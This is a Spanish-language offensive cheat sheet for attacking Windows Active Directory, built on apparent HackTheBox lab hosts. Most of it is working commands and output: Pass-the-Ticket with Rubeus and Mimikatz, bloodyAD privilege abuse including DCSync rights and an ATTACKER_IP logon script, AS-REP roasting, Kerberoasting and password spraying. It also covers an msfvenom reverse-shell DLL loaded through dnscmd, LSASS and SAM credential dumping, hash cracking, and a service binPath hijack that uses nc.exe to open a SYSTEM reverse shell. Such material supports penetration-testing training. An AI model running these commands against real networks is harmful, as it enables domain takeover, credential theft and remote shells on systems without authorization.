c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Import Ticket
[+] ticket successfully imported!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>
También podemos usar la salida en base64 generada por Rubeus, o convertir un archivo .kirbi
a base64, para llevar a cabo un ataque Pass the Ticket.
Nota: Cambiar [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
por el ticket correspondiente.
[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzYYQAAAQtMIQAAAQnoIQAAAADAgEFoYQAAAAJGwdIVEIuQ09NooQAAAAsMIQAAAAmoIQAAAADAgECoYQAAAAXMIQAAAARGwZrcmJ0Z3QbB0hUQi5DT02jhAAAA9cwhAAAA9GghAAAAAMCARKhhAAAAAMCAQKihAAAA7kEggO1zqm0SuXewDEmypVORXzj8hyqSmikY9gxbM9xdpmA8r2EvTnv0UYkQFdf4B73Ss5ylutsSsyvnZYRVr8Ta9Wx/fvnjpJw/T70suDA4CgsuSZcBSo/jMnDjucWNtlDc8ez6<SNIP>
Con Rubeus, también podemos realizar un ataque Pass the Ticket proporcionando directamente la cadena en base64 en lugar del nombre del archivo .kirbi
.
.\Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/<SNIP>
c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Import Ticket
[+] ticket successfully imported!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>
Finalmente, también podemos realizar el ataque Pass the Ticket utilizando el módulo kerberos::ptt
de Mimikatz, importando directamente el archivo .kirbi
que contiene el ticket que queremos inyectar.
.\mimikatz.exe 'kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"' exit
C:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>
PowerShell Remoting nos permite ejecutar scripts o comandos en un equipo remoto. Los administradores suelen usarlo para gestionar equipos en la red.
Al habilitar PowerShell Remoting, se crean listeners tanto HTTP como HTTPS. El listener se ejecuta en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.
Para crear una sesión remota de PowerShell en otro equipo, debemos tener permisos de administrador, ser miembros del grupo Remote Management Users, o tener permisos explícitos de PowerShell Remoting en la configuración de la sesión.
Supongamos que encontramos una cuenta de usuario que no tiene privilegios de administrador en el equipo remoto, pero sí es miembro del grupo Remote Management Users. En ese caso, podemos usar PowerShell Remoting para conectarnos a ese equipo y ejecutar comandos.
Para usar PowerShell Remoting junto con Pass the Ticket, podemos usar Mimikatz para importar nuestro ticket Kerberos y luego abrir una consola de PowerShell para conectarnos a la máquina objetivo.
Primero, abrimos una nueva ventana de cmd.exe
y ejecutamos mimikatz.exe
. Luego importamos el ticket que recolectamos usando:
kerberos::ptt <path_to_ticket.kirbi>
Una vez que el ticket esté importado en la sesión de cmd.exe
, lanzamos una consola de PowerShell desde esa misma ventana con powershell
.
Finalmente, usamos el comando:
Enter-PSSession -ComputerName <target_hostname_or_IP>
Esto nos permite conectarnos a la máquina remota aprovechando el ticket Kerberos inyectado, sin necesidad de ingresar credenciales.
Mimikatz - Pass the Ticket for Lateral Movement
.\mimikatz.exe "privilege::debug" 'kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"' exit
Enter-PSSession -ComputerName DC01
C:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK
mimikatz # exit
Bye!
c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>
Rubeus tiene la opción createnetonly
, que crea un proceso o sesión de inicio de sesión "sacrificial" (tipo de logon 9). Este proceso está oculto por defecto, pero podemos usar el flag /show
para mostrarlo. El resultado es equivalente a ejecutar runas /netonly
.
Esto evita que se sobrescriban o eliminen los TGTs existentes de la sesión de inicio actual.
Create a Sacrificial Process with Rubeus
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.3
[*] Action: Create process (/netonly)
[*] Using random username and password.
[*] Showing process : True
[*] Username : JMI8CL7C
[*] Domain : DTCDV6VL
[*] Password : MRWI6XGI
[+] Process : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1556
[+] LUID : 0xe07648
El comando anterior abrirá una nueva ventana de cmd
. Desde esa ventana, podemos ejecutar Rubeus para solicitar un nuevo TGT usando la opción /ptt
, lo que inyectará el ticket en la sesión actual.
Una vez hecho esto, ya podremos conectarnos al Domain Controller usando PowerShell Remoting dentro de esa misma sesión.
Rubeus - Pass the Ticket for Lateral Movement
.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /rc4:<hash_NTLM> /ptt
.\Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.3
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRMbEUlOTEFORUZSRUlHSFQuSFRC
oiYwJKADAgECoR0wGxsGa3JidGd0GxFpbmxhbmVmcmVpZ2h0Lmh0YqOCBFAwggRMoAMCARKhAwIBAqKC
BD4EggQ6JFh+c/cFI8UqumM6GPaVpUhz3ZSyXZTIHiI/b3jOFtjyD/uYTqXAAq2CkakjomzCUyqUfIE5
+2dvJYclANm44EvqGZlMkFvHK40slyFEK6E6d7O+BWtGye2ytdJr9WWKWDiQLAJ97nrZ9zhNCfeWWQNQ
dpAEeCZP59dZeIUfQlM3+/oEvyJBqeR6mc3GuicxbJA743TLyQt8ktOHU0oIz0oi2p/VYQfITlXBmpIT
OZ6+/vfpaqF68Y/5p61V+B8XRKHXX2JuyX5+d9i3VZhzVFOFa+h5+efJyx3kmzFMVbVGbP1DyAG1JnQO
h1z2T1egbKX/Ola4unJQRZXblwx+xk+MeX0IEKqnQmHzIYU1Ka0px5qnxDjObG+Ji795TFpEo04kHRwv
zSoFAIWxzjnpe4J9sraXkLQ/btef8p6qAfeYqWLxNbA+eUEiKQpqkfzbxRB5Pddr1TEONiMAgLCMgphs
gVMLj6wtH+gQc0ohvLgBYUgJnSHV8lpBBc/OPjPtUtAohJoas44DZRCd7S9ruXLzqeUnqIfEZ/DnJh3H
SYtH8NNSXoSkv0BhotVXUMPX1yesjzwEGRokLjsXSWg/4XQtcFgpUFv7hTYTKKn92dOEWePhDDPjwQmk
H6MP0BngGaLK5vSA9AcUSi2l+DSaxaR6uK1bozMgM7puoyL8MPEhCe+ajPoX4TPn3cJLHF1fHofVSF4W
nkKhzEZ0wVzL8PPWlsT+Olq5TvKlhmIywd3ZWYMT98kB2igEUK2G3jM7XsDgwtPgwIlP02bXc2mJF/VA
qBzVwXD0ZuFIePZbPoEUlKQtE38cIumRyfbrKUK5RgldV+wHPebhYQvFtvSv05mdTlYGTPkuh5FRRJ0e
WIw0HWUm3u/NAIhaaUal+DHBYkdkmmc2RTWk34NwYp7JQIAMxb68fTQtcJPmLQdWrGYEehgAhDT2hX+8
VMQSJoodyD4AEy2bUISEz6x5gjcFMsoZrUmMRLvUEASB/IBW6pH+4D52rLEAsi5kUI1BHOUEFoLLyTNb
4rZKvWpoibi5sHXe0O0z6BTWhQceJtUlNkr4jtTTKDv1sVPudAsRmZtR2GRr984NxUkO6snZo7zuQiud
7w2NUtKwmTuKGUnNcNurz78wbfild2eJqtE9vLiNxkw+AyIr+gcxvMipDCP9tYCQx1uqCFqTqEImOxpN
BqQf/MDhdvked+p46iSewqV/4iaAvEJRV0lBHfrgTFA3HYAhf062LnCWPTTBZCPYSqH68epsn4OsS+RB
gwJFGpR++u1h//+4Zi++gjsX/+vD3Tx4YUAsMiOaOZRiYgBWWxsI02NYyGSBIwRC3yGwzQAoIT43EhAu
HjYiDIdccqxpB1+8vGwkkV7DEcFM1XFwjuREzYWafF0OUfCT69ZIsOqEwimsHDyfr6WhuKua034Us2/V
8wYbbKYjVj+jgfEwge6gAwIBAKKB5gSB432B4DCB3aCB2jCB1zCB1KArMCmgAwIBEqEiBCDlV0Bp6+en
HH9/2tewMMt8rq0f7ipDd/UaU4HUKUFaHaETGxFJTkxBTkVGUkVJR0hULkhUQqIRMA+gAwIBAaEIMAYb
BGpvaG6jBwMFAEDhAAClERgPMjAyMjA3MTgxMjQ0NTBaphEYDzIwMjIwNzE4MjI0NDUwWqcRGA8yMDIy
MDcyNTEyNDQ1MFqoExsRSU5MQU5FRlJFSUdIVC5IVEKpJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEWlubGFu
ZWZyZWlnaHQuaHRi
[+] Ticket successfully imported!
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : INLANEFREIGHT.HTB
UserName : john
UserRealm : INLANEFREIGHT.HTB
StartTime : 7/18/2022 5:44:50 AM
EndTime : 7/18/2022 3:44:50 PM
RenewTill : 7/25/2022 5:44:50 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=
ASREP (key) : 9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC
c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
sudo apt install bloodyad -y
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f ACCOUNTDISABLE
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'GROUP_TARGET' 'USER_TARGET'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add shadowCredentials 'target'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dnsRecord <dns_record_target> <ATTACKER_IP>
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' mail -v 'impersonateUser@dominio.htb'
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' altSecurityIdentities -v 'X509:<I><.........>'
Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *
# AS-REP Roast desde impacket-GetNPUsers
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roast a través de impacket-GetNPUsers y un bucle while
while read username; do impacket-GetNPUsers dominio.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null
# AS-REP Roast a través de netexec
netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt
# Kerberoasting Attack a través de impacket-GetUserSPNs autenticación básica
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación de Kerberos (disponer de ticket TGT en KRB5CCNAME)
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting Attack realizando PassTheHash
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null
# Kerberoasting Attack a través de netexec
netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt
impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.10 2>/dev/null
sudo ntpdate -s 10.10.10.10
# Fuerza bruta para enumerar usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Password spraying sobre una contraseña contra un listado de usuarios
kerbrute passwordspray -d dominio.htb --dc dc.dominio.htb users.txt 'password'
# Brute Force con un listado de usuarios y contraseñas. Listado en formato --> usuario:password
kerbrute bruteforce -d dominio.htb --dc dc.dominio.htb userspasswords.txt
# Brute Force sobre un usuario con un listado de contraseñas
kerbrute bruteuser -d dominio.htb --dc dc.dominio.htb passwords.txt 'user_target'
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o pwn.dll
impacket-smbserver smbFolder $(pwd) -smb2support
rlwrap -cAr nc -nlvp 443
dnscmd.exe /config /serverlevelplugindll \\<ATTACKER_IP>\smbFolder\pwn.dll
sc.exe stop dns
sc.exe start dns
privilege::debug sekurlsa::logonpasswords
file lsass.DMP
pypykatz lsa minidump lsass.DMP
C:\Windows\system32> tasklist /svc | findstr lsass.exe
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 96 N/A
smss.exe 344 N/A
csrss.exe 432 N/A
wininit.exe 508 N/A
csrss.exe 520 N/A
winlogon.exe 580 N/A
services.exe 652 N/A
lsass.exe 672 KeyIso, SamSs, VaultSvc
svchost.exe 776 PlugPlay
svchost.exe 804 BrokerInfrastructure, DcomLaunch, Power,
SystemEventsBroker
fontdrvhost.exe 812 N/A
PS C:\Windows\system32> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1260 21 4948 15396 2.56 672 0 lsass
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
nxc smb 10.99.99.10 -u 'user' -p 'Password01!' -M lsassy
nxc smb 10.99.99.10 -u 'user' -H '027ae3139c0b6e47d3825660c1ede923' -M lsassy
nxc smb dc.dominio.htb --use-kcache -M lsassy
lsassy -d dominio.htb -u 'user' -p 'Password' 10.99.99.10
lsassy -d dominio.htb -u 'user' -H ':027ae3139c0b6e47d3825660c1ede923' 10.99.99.10
lsassy -d dominio.htb -k --no-pass 10.99.99.10 -dc-ip 10.99.99.10
echo '027ae3139c0b6e47d3825660c1ede923' > hashes.txt
hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txt
hashcat -a 0 -m 1000 027ae3139c0b6e47d3825660c1ede923 /usr/share/wordlist/rockyou.txt
Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX
del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.
Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP
, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.
Como alternativa, podemos utilizar PassTheCert
para autenticarnos a LDAP a través de SChannel
con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio
.
Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator
. Para ello, utilizamos Certipy
de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py
para autentifcarnos con el certificado obtenido.
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
Con PassTheCert
, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami
.
Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell
con el parámetro -action ldap-shell
.
python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10
Para ver varios ejemplos del uso de PassTheCert
y de cómo logramos obtener acceso al sistema como el usuario Administrator
podemos comprobar el siguiente blog.
El privilegio SeImpersonatePrivilege permite a un usuario ejecutar programas en nombre de otro, es decir, impersonar a un cliente. Fue introducido en Windows 2000 SP4 y está asignado a miembros del grupo de administradores locales, cuentas de servicio local y otros servicios específicos (como COM y RPC). Su propósito es evitar que servidores no autorizados impersonen a los clientes que se conectan a ellos. Este privilegio puede ser explotado para ganar control o ejecutar acciones con los permisos de un usuario más privilegiado.
El exploit churrasco
es similar al exploit JuicyPotato
. En algunos casos, el exploit JuicyPotato
no es compatible con sistemas más antiguos, como Windows Server 2003 o Windows XP. Se trata de una escalada de privilegios de Windows desde cuentas de “servicio
” a cuentas “NT AUTHORITY\SYSTEM
”.
PoC
C:\Temp>systeminfo
systeminfo
Host Name: GRANNY
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
El privilegio SeBackupPrivilege permite a un usuario crear copias de seguridad del sistema, lo que les da acceso total de lectura a todos los archivos, sin importar las restricciones de ACL. Esto incluye archivos sensibles como el SAM o el SYSTEM Registry. Un atacante puede usar este privilegio tras obtener acceso inicial al sistema, leyendo estos archivos y crackeando contraseñas de usuarios con altos privilegios.
Utilizamos nuestro SeBackupPrivilege para leer el archivo SAM y guardar una variante del mismo. De forma similar, leemos el archivo SYSTEM y guardamos una variante del mismo.
*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.
A través de la herramienta de samdump2
, extraemos desde Kali los hashes NTLM de la SAM
. Podemos intentar efectuar PassTheHash para autenticarnos con el hash NTLM del usuario.
❯ samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Otro método para movernos lateralmente en un entorno de Active Directory se llama ataque Pass the Ticket (PtT). En este ataque, usamos un ticket Kerberos robado para movernos lateralmente en lugar de un hash de contraseña NTLM. Vamos a ver varias formas de llevar a cabo un ataque PtT desde Windows y Linux.
El sistema de autenticación Kerberos se basa en tickets. La idea principal detrás de Kerberos es evitar entregar la contraseña de la cuenta a cada servicio que usamos. En su lugar, Kerberos guarda todos los tickets en el sistema local y presenta a cada servicio únicamente el ticket específico para ese servicio, evitando que un ticket se use para otro propósito.
TGT (Ticket Granting Ticket): Es el primer ticket que se obtiene en un sistema Kerberos. Este ticket permite al cliente solicitar otros tickets Kerberos (TGS).
TGS (Ticket Granting Service): Son tickets que los usuarios solicitan cuando quieren usar un servicio. Estos permiten a los servicios verificar la identidad del usuario.
Cuando un usuario solicita un TGT, debe autenticarse ante el controlador de dominio cifrando el timestamp
con el hash de su contraseña. Si el controlador de dominio valida la identidad del usuario (porque conoce su hash y puede descifrar el timestamp
), le envía un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket, ya no necesita volver a demostrar su identidad usando su contraseña.
Por ejemplo, si el usuario quiere conectarse a una base de datos MSSQL, solicita un TGS al KDC (Key Distribution Center) presentando su TGT. Luego entrega el TGS al servidor MSSQL para autenticarse.
El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor
Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:
Iniciar y detener servicios:
Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.
Administrar recursos compartidos:
Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.
Operaciones de copia de seguridad y restauración:
Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.
Iniciar sesión localmente:
Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.
Administrar usuarios y grupos locales:
Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.
Comprobamos que el usuario que disponemos forma parte del grupo SERVER OPERATORS.
Desde el equipo revisaremos los servicios que se encuentran en ejecución.
*Evil-WinRM* PS C:\Users\test\Documents> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe True aspnet_state
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys True MpKslDrv
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER True MSSQLSERVER
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe" True SQLBrowser
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER True SQLSERVERAGENT
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service True SQLTELEMETRY
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe" True SQLWriter
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe True VMTools
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe" True WinDefend
Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe
para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath
del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe
.
Verificamos que logramos modificar correctamente el binPath
del servicio VMTools
, también podemos utilizar el servicio browser
.
*Evil-WinRM* PS C:\Users\test\Documents> upload /usr/share/windows-binaries/nc.exe
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\test\Documents\nc.exe
Data: 79188 bytes of 79188 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\test\Documents> sc.exe config VMTools binPath="C:\Users\test\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS
En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.
❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
Volveremos a la terminal del equipo víctima y pararemos y volver a iniciar el servicio, el cual hemos modificado el binPath
para que ejecute la Reverse Shell.
*Evil-WinRM* PS C:\Users\test\Documents> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\test\Documents> sc.exe start VMTools
Verificamos que al volver a arrancar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM
, lo cual tenemos control total sobre el equipo.
❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.10] 49948
